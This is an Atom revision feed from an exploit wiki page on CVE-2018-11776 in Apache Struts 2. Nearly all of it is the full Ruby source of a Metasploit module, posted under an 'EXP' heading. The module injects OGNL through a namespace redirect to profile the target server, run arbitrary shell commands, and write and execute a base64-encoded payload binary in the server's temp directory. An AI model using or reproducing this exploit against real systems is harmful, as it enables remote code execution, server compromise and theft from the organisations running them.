<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-11776_Apache_Struts_2%E5%91%BD%E5%90%8D%E7%A9%BA%E9%96%93%E9%87%8D%E5%AE%9A%E5%90%91OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-11776 Apache Struts 2命名空間重定向OGNL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-11776_Apache_Struts_2%E5%91%BD%E5%90%8D%E7%A9%BA%E9%96%93%E9%87%8D%E5%AE%9A%E5%90%91OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-11776_Apache_Struts_2%E5%91%BD%E5%90%8D%E7%A9%BA%E9%96%93%E9%87%8D%E5%AE%9A%E5%90%91OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:44:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-11776_Apache_Struts_2%E5%91%BD%E5%90%8D%E7%A9%BA%E9%96%93%E9%87%8D%E5%AE%9A%E5%90%91OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=680&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-11776_Apache_Struts_2%E5%91%BD%E5%90%8D%E7%A9%BA%E9%96%93%E9%87%8D%E5%AE%9A%E5%90%91OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=680&amp;oldid=prev"/>
		<updated>2021-03-27T02:46:21Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::EXE&lt;br /&gt;
&lt;br /&gt;
  # Eschewing CmdStager for now, since the use of '\' and ';' are killing me&lt;br /&gt;
  #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'           =&amp;gt; 'Apache Struts 2 Namespace Redirect OGNL Injection',&lt;br /&gt;
      'Description'    =&amp;gt; %q{&lt;br /&gt;
        This module exploits a remote code execution vulnerability in Apache Struts&lt;br /&gt;
        version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed&lt;br /&gt;
        via an endpoint that makes use of a redirect action.&lt;br /&gt;
&lt;br /&gt;
        Native payloads will be converted to executables and dropped in the&lt;br /&gt;
        server's temp dir. If this fails, try a cmd/* payload, which won't&lt;br /&gt;
        have to write to the disk.&lt;br /&gt;
      },&lt;br /&gt;
      #TODO: Is that second paragraph above still accurate?&lt;br /&gt;
      'Author'         =&amp;gt; [&lt;br /&gt;
        'Man Yue Mo', # Discovery&lt;br /&gt;
        'hook-s3c',   # PoC&lt;br /&gt;
        'asoto-r7',   # Metasploit module&lt;br /&gt;
        'wvu'         # Metasploit module&lt;br /&gt;
      ],&lt;br /&gt;
      'References'     =&amp;gt; [&lt;br /&gt;
        ['CVE', '2018-11776'],&lt;br /&gt;
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],&lt;br /&gt;
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],&lt;br /&gt;
        ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],&lt;br /&gt;
      ],&lt;br /&gt;
      'Privileged'     =&amp;gt; false,&lt;br /&gt;
      'Targets'        =&amp;gt; [&lt;br /&gt;
        [&lt;br /&gt;
          'Automatic detection', {&lt;br /&gt;
            'Platform'   =&amp;gt; %w{ unix windows linux },&lt;br /&gt;
            'Arch'       =&amp;gt; [ ARCH_CMD, ARCH_X86, ARCH_X64 ],&lt;br /&gt;
          },&lt;br /&gt;
        ],&lt;br /&gt;
        [&lt;br /&gt;
          'Windows', {&lt;br /&gt;
            'Platform'   =&amp;gt; %w{ windows },&lt;br /&gt;
            'Arch'       =&amp;gt; [ ARCH_CMD, ARCH_X86, ARCH_X64 ],&lt;br /&gt;
          },&lt;br /&gt;
        ],&lt;br /&gt;
        [&lt;br /&gt;
          'Linux', {&lt;br /&gt;
            'Platform'       =&amp;gt; %w{ unix linux },&lt;br /&gt;
            'Arch'           =&amp;gt; [ ARCH_CMD, ARCH_X86, ARCH_X64 ],&lt;br /&gt;
            'DefaultOptions' =&amp;gt; {'PAYLOAD' =&amp;gt; 'cmd/unix/generic'}&lt;br /&gt;
          },&lt;br /&gt;
        ],&lt;br /&gt;
      ],&lt;br /&gt;
      'DisclosureDate' =&amp;gt; 'Aug 22 2018', # Private disclosure = Apr 10 2018&lt;br /&gt;
      'DefaultTarget'  =&amp;gt; 0))&lt;br /&gt;
&lt;br /&gt;
      register_options(&lt;br /&gt;
        [&lt;br /&gt;
          Opt::RPORT(8080),&lt;br /&gt;
          OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),&lt;br /&gt;
          OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),&lt;br /&gt;
          OptString.new('ENABLE_STATIC', [ true, 'Enable &amp;quot;allowStaticMethodAccess&amp;quot; before executing OGNL', true ]),&lt;br /&gt;
        ]&lt;br /&gt;
      )&lt;br /&gt;
      register_advanced_options(&lt;br /&gt;
        [&lt;br /&gt;
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),&lt;br /&gt;
          OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', &amp;quot;X-#{rand_text_alpha(4)}&amp;quot;] ),&lt;br /&gt;
          OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', &amp;quot;#{rand_text_alpha(8)}&amp;quot;] ),&lt;br /&gt;
        ]&lt;br /&gt;
      )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable&lt;br /&gt;
    ognl = &amp;quot;#_memberAccess['allowStaticMethodAccess']&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    resp = send_struts_request(ognl)&lt;br /&gt;
&lt;br /&gt;
    # If vulnerable, the server should return an HTTP 302 (Redirect)&lt;br /&gt;
    #   and the 'Location' header should contain either 'true' or 'false'&lt;br /&gt;
    if resp &amp;amp;&amp;amp; resp.headers['Location']&lt;br /&gt;
      output = resp.headers['Location']&lt;br /&gt;
      vprint_status(&amp;quot;Redirected to:  #{output}&amp;quot;)&lt;br /&gt;
      if (output.include? '/true/')&lt;br /&gt;
        print_status(&amp;quot;Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'&amp;quot;)&lt;br /&gt;
        datastore['ENABLE_STATIC'] = false&lt;br /&gt;
        CheckCode::Vulnerable&lt;br /&gt;
      elsif (output.include? '/false/')&lt;br /&gt;
        print_status(&amp;quot;Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'&amp;quot;)&lt;br /&gt;
        datastore['ENABLE_STATIC'] = true&lt;br /&gt;
        CheckCode::Vulnerable&lt;br /&gt;
      else&lt;br /&gt;
        CheckCode::Safe&lt;br /&gt;
      end&lt;br /&gt;
    elsif resp &amp;amp;&amp;amp; resp.code==400&lt;br /&gt;
      # METHOD 2: Generate two random numbers, ask the target to add them together.&lt;br /&gt;
      #   If it does, it's vulnerable.&lt;br /&gt;
      a = rand(10000)&lt;br /&gt;
      b = rand(10000)&lt;br /&gt;
      c = a+b&lt;br /&gt;
&lt;br /&gt;
      ognl = &amp;quot;#{a}+#{b}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
      resp = send_struts_request(ognl)&lt;br /&gt;
&lt;br /&gt;
      if resp.headers['Location'].include? c.to_s&lt;br /&gt;
        vprint_status(&amp;quot;Redirected to:  #{resp.headers['Location']}&amp;quot;)&lt;br /&gt;
        print_status(&amp;quot;Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'&amp;quot;)&lt;br /&gt;
        datastore['ENABLE_STATIC'] = false&lt;br /&gt;
        CheckCode::Vulnerable&lt;br /&gt;
      else&lt;br /&gt;
        CheckCode::Safe&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    case payload.arch.first&lt;br /&gt;
    when ARCH_CMD&lt;br /&gt;
      resp = execute_command(payload.encoded)&lt;br /&gt;
    else&lt;br /&gt;
      resp = send_payload()&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def encode_ognl(ognl)&lt;br /&gt;
    # Check and fail if the command contains the follow bad characters:&lt;br /&gt;
    #   ';' seems to terminates the OGNL statement&lt;br /&gt;
    #   '/' causes the target to return an HTTP/400 error&lt;br /&gt;
    #   '\' causes the target to return an HTTP/400 error (sometimes?)&lt;br /&gt;
    #   '\r' ends the GET request prematurely&lt;br /&gt;
    #   '\n' ends the GET request prematurely&lt;br /&gt;
&lt;br /&gt;
    # TODO: Make sure the following line is uncommented&lt;br /&gt;
    bad_chars = %w[; \\ \r \n]    # and maybe '/'&lt;br /&gt;
    bad_chars.each do |c|&lt;br /&gt;
      if ognl.include? c&lt;br /&gt;
        print_error(&amp;quot;Bad OGNL request: #{ognl}&amp;quot;)&lt;br /&gt;
        fail_with(Failure::BadConfig, &amp;quot;OGNL request cannot contain a '#{c}'&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    # The following list of characters *must* be encoded or ORNL will asplode&lt;br /&gt;
    encodable_chars = { &amp;quot;%&amp;quot;: &amp;quot;%25&amp;quot;,       # Always do this one first.  :-)&lt;br /&gt;
                        &amp;quot; &amp;quot;: &amp;quot;%20&amp;quot;,&lt;br /&gt;
                        &amp;quot;\&amp;quot;&amp;quot;:&amp;quot;%22&amp;quot;,&lt;br /&gt;
                        &amp;quot;#&amp;quot;: &amp;quot;%23&amp;quot;,&lt;br /&gt;
                        &amp;quot;'&amp;quot;: &amp;quot;%27&amp;quot;,&lt;br /&gt;
                        &amp;quot;&amp;lt;&amp;quot;: &amp;quot;%3c&amp;quot;,&lt;br /&gt;
                        &amp;quot;&amp;gt;&amp;quot;: &amp;quot;%3e&amp;quot;,&lt;br /&gt;
                        &amp;quot;?&amp;quot;: &amp;quot;%3f&amp;quot;,&lt;br /&gt;
                        &amp;quot;^&amp;quot;: &amp;quot;%5e&amp;quot;,&lt;br /&gt;
                        &amp;quot;`&amp;quot;: &amp;quot;%60&amp;quot;,&lt;br /&gt;
                        &amp;quot;{&amp;quot;: &amp;quot;%7b&amp;quot;,&lt;br /&gt;
                        &amp;quot;|&amp;quot;: &amp;quot;%7c&amp;quot;,&lt;br /&gt;
                        &amp;quot;}&amp;quot;: &amp;quot;%7d&amp;quot;,&lt;br /&gt;
                       #&amp;quot;\/&amp;quot;:&amp;quot;%2f&amp;quot;,       # Don't do this.  Just leave it front-slashes in as normal.&lt;br /&gt;
                       #&amp;quot;;&amp;quot;: &amp;quot;%3b&amp;quot;,       # Doesn't work.  Anyone have a cool idea for a workaround?&lt;br /&gt;
                       #&amp;quot;\\&amp;quot;:&amp;quot;%5c&amp;quot;,       # Doesn't work.  Anyone have a cool idea for a workaround?&lt;br /&gt;
                       #&amp;quot;\\&amp;quot;:&amp;quot;%5c%5c&amp;quot;,    # Doesn't work.  Anyone have a cool idea for a workaround?&lt;br /&gt;
                      }&lt;br /&gt;
&lt;br /&gt;
    encodable_chars.each do |k,v|&lt;br /&gt;
     #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)&lt;br /&gt;
      ognl.gsub!(&amp;quot;#{k}&amp;quot;,&amp;quot;#{v}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    return ognl&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def send_struts_request(ognl, payload: nil)&lt;br /&gt;
=begin  #badchar-checking code&lt;br /&gt;
    pre = ognl&lt;br /&gt;
=end&lt;br /&gt;
&lt;br /&gt;
    ognl = &amp;quot;${#{ognl}}&amp;quot;&lt;br /&gt;
    vprint_status(&amp;quot;Submitted OGNL: #{ognl}&amp;quot;)&lt;br /&gt;
    ognl = encode_ognl(ognl)&lt;br /&gt;
&lt;br /&gt;
    headers = {'Keep-Alive': 'timeout=5, max=1000'}&lt;br /&gt;
&lt;br /&gt;
    if payload&lt;br /&gt;
      vprint_status(&amp;quot;Embedding payload of #{payload.length} bytes&amp;quot;)&lt;br /&gt;
      headers[datastore['HEADER']] = payload&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs&lt;br /&gt;
    uri = &amp;quot;/#{ognl}/#{datastore['ACTION']}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    resp = send_request_cgi(&lt;br /&gt;
     #'encode'  =&amp;gt; true,     # this fails to encode '\', which is a problem for me&lt;br /&gt;
      'uri'     =&amp;gt; uri,&lt;br /&gt;
      'method'  =&amp;gt; datastore['HTTPMethod'],&lt;br /&gt;
      'headers' =&amp;gt; headers&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    if resp &amp;amp;&amp;amp; resp.code == 404&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Server returned HTTP 404, please double check TARGETURI and ACTION options&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
=begin  #badchar-checking code&lt;br /&gt;
    print_status(&amp;quot;Response code: #{resp.code}&amp;quot;)&lt;br /&gt;
    #print_status(&amp;quot;Response recv: BODY '#{resp.body}'&amp;quot;) if resp.body&lt;br /&gt;
    if resp.headers['Location']&lt;br /&gt;
      print_status(&amp;quot;Response recv: LOC: #{resp.headers['Location'].split('/')[1]}&amp;quot;)&lt;br /&gt;
      if resp.headers['Location'].split('/')[1] == pre[1..-2]&lt;br /&gt;
        print_good(&amp;quot;GOT 'EM!&amp;quot;)&lt;br /&gt;
      else&lt;br /&gt;
        print_error(&amp;quot;                       #{pre[1..-2]}&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
=end&lt;br /&gt;
&lt;br /&gt;
    resp&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def profile_target&lt;br /&gt;
    # Use OGNL to extract properties from the Java environment&lt;br /&gt;
&lt;br /&gt;
    properties = { 'os.name': nil,          # e.g. 'Linux'&lt;br /&gt;
                   'os.arch': nil,          # e.g. 'amd64'&lt;br /&gt;
                   'os.version': nil,       # e.g. '4.4.0-112-generic'&lt;br /&gt;
                   'user.name': nil,        # e.g. 'root'&lt;br /&gt;
                   #'user.home': nil,       # e.g. '/root' (didn't work in testing)&lt;br /&gt;
                   'user.language': nil,    # e.g. 'en'&lt;br /&gt;
                   #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)&lt;br /&gt;
                   }&lt;br /&gt;
&lt;br /&gt;
    ognl = &amp;quot;&amp;quot;&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %Q|('#{rand_text_alpha(2)}')|&lt;br /&gt;
    properties.each do |k,v|&lt;br /&gt;
      ognl &amp;lt;&amp;lt; %Q|+(@java.lang.System@getProperty('#{k}'))+':'|&lt;br /&gt;
    end&lt;br /&gt;
    ognl = ognl[0...-4]&lt;br /&gt;
&lt;br /&gt;
    r = send_struts_request(ognl)&lt;br /&gt;
&lt;br /&gt;
    if r.code == 400&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Server returned HTTP 400, consider toggling the ENABLE_STATIC option&amp;quot;)&lt;br /&gt;
    elsif r.headers['Location']&lt;br /&gt;
      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'&lt;br /&gt;
      #   Extract the OGNL output from the Location path, and strip the two random chars&lt;br /&gt;
      s = r.headers['Location'].split('/')[1][2..-1]&lt;br /&gt;
&lt;br /&gt;
      if s.nil?&lt;br /&gt;
        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.&lt;br /&gt;
        #   But we didn't get any output, so we can't profile the target.  Abort.&lt;br /&gt;
        return nil&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      # Confirm that all fields were returned, and non include extra (:) delimiters&lt;br /&gt;
      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.&lt;br /&gt;
      if s.count(':') &amp;gt; properties.length&lt;br /&gt;
        print_error(&amp;quot;Failed to profile target.  Response from server: #{r.to_s}&amp;quot;)&lt;br /&gt;
        fail_with(Failure::UnexpectedReply, &amp;quot;Target responded with unexpected profiling data&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      # Separate the colon-delimited properties and store in the 'properties' hash&lt;br /&gt;
      s = s.split(':')&lt;br /&gt;
      i = 0&lt;br /&gt;
      properties.each do |k,v|&lt;br /&gt;
        properties[k] = s[i]&lt;br /&gt;
        i += 1&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      print_good(&amp;quot;Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}&amp;quot; +&lt;br /&gt;
        &amp;quot; #{properties[:'os.arch']}, running as #{properties[:'user.name']}&amp;quot;)&lt;br /&gt;
      return properties&lt;br /&gt;
    else&lt;br /&gt;
      print_error(&amp;quot;Failed to profile target.  Response from server: #{r.to_s}&amp;quot;)&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Server did not respond properly to profiling attempt.&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def execute_command(cmd_input, opts={})&lt;br /&gt;
    # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.&lt;br /&gt;
    if cmd_input.include? ';'&lt;br /&gt;
      print_warning(&amp;quot;WARNING: Command contains bad characters: semicolons (;).&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    begin&lt;br /&gt;
      properties = profile_target&lt;br /&gt;
      os = properties[:'os.name'].downcase&lt;br /&gt;
    rescue&lt;br /&gt;
      vprint_warning(&amp;quot;Target profiling was unable to determine operating system&amp;quot;)&lt;br /&gt;
      os = ''&lt;br /&gt;
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'&lt;br /&gt;
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'&lt;br /&gt;
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if (os.include? 'linux') || (os.include? 'nix')&lt;br /&gt;
      cmd = &amp;quot;{'sh','-c','#{cmd_input}'}&amp;quot;&lt;br /&gt;
    elsif os.include? 'win'&lt;br /&gt;
      cmd = &amp;quot;{'cmd.exe','/c','#{cmd_input}'}&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      vprint_error(&amp;quot;Failed to detect target OS.  Attempting to execute command directly&amp;quot;)&lt;br /&gt;
      cmd = cmd_input&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    # The following OGNL will run arbitrary commands on Windows and Linux&lt;br /&gt;
    #   targets, as well as returning STDOUT and STDERR.  In my testing,&lt;br /&gt;
    #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.&lt;br /&gt;
&lt;br /&gt;
    vprint_status(&amp;quot;Executing: #{cmd}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ognl =  &amp;quot;&amp;quot;&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#p.redirectErrorStream(true)).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#process=#p.start()).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#r.flush())|&lt;br /&gt;
&lt;br /&gt;
    r = send_struts_request(ognl)&lt;br /&gt;
&lt;br /&gt;
    if r &amp;amp;&amp;amp; r.code == 200&lt;br /&gt;
      print_good(&amp;quot;Command executed:\n#{r.body}&amp;quot;)&lt;br /&gt;
    elsif r&lt;br /&gt;
      if r.body.length == 0&lt;br /&gt;
        print_status(&amp;quot;Payload sent, but no output provided from server.&amp;quot;)&lt;br /&gt;
      elsif r.body.length &amp;gt; 0&lt;br /&gt;
        print_error(&amp;quot;Failed to run command.  Response from server: #{r.to_s}&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def send_payload&lt;br /&gt;
    # Probe for the target OS and architecture&lt;br /&gt;
    begin&lt;br /&gt;
      properties = profile_target&lt;br /&gt;
      os = properties[:'os.name'].downcase&lt;br /&gt;
    rescue&lt;br /&gt;
      vprint_warning(&amp;quot;Target profiling was unable to determine operating system&amp;quot;)&lt;br /&gt;
      os = ''&lt;br /&gt;
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'&lt;br /&gt;
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'&lt;br /&gt;
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    data_header = datastore['HEADER']&lt;br /&gt;
    if data_header.empty?&lt;br /&gt;
      fail_with(Failure::BadConfig, &amp;quot;HEADER parameter cannot be blank when sending a payload&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    random_filename = datastore['TEMPFILE']&lt;br /&gt;
&lt;br /&gt;
    # d = data stream from HTTP header&lt;br /&gt;
    # f = path to temp file&lt;br /&gt;
    # s = stream/handle to temp file&lt;br /&gt;
    ognl  = &amp;quot;&amp;quot;&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#f.setExecutable(true)).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#f.deleteOnExit()).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#s=new java.io.FileOutputStream(#f)).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#s.write(#d)).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#s.close()).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#p.start()).|&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %q|(#f.delete()).|&lt;br /&gt;
&lt;br /&gt;
    success_string = rand_text_alpha(4)&lt;br /&gt;
    ognl &amp;lt;&amp;lt; %Q|('#{success_string}')|&lt;br /&gt;
&lt;br /&gt;
    exe = [generate_payload_exe].pack(&amp;quot;m&amp;quot;).delete(&amp;quot;\n&amp;quot;)&lt;br /&gt;
    r = send_struts_request(ognl, payload: exe)&lt;br /&gt;
&lt;br /&gt;
    if r &amp;amp;&amp;amp; r.headers &amp;amp;&amp;amp; r.headers['Location'].split('/')[1] == success_string&lt;br /&gt;
      print_good(&amp;quot;Payload successfully dropped and executed.&amp;quot;)&lt;br /&gt;
    elsif r &amp;amp;&amp;amp; r.headers['Location']&lt;br /&gt;
      vprint_error(&amp;quot;RESPONSE: &amp;quot; + r.headers['Location'])&lt;br /&gt;
      fail_with(Failure::PayloadFailed, &amp;quot;Target did not successfully execute the request&amp;quot;)&lt;br /&gt;
    elsif r &amp;amp;&amp;amp; r.code == 400&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Target reported an unspecified error while executing the payload&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>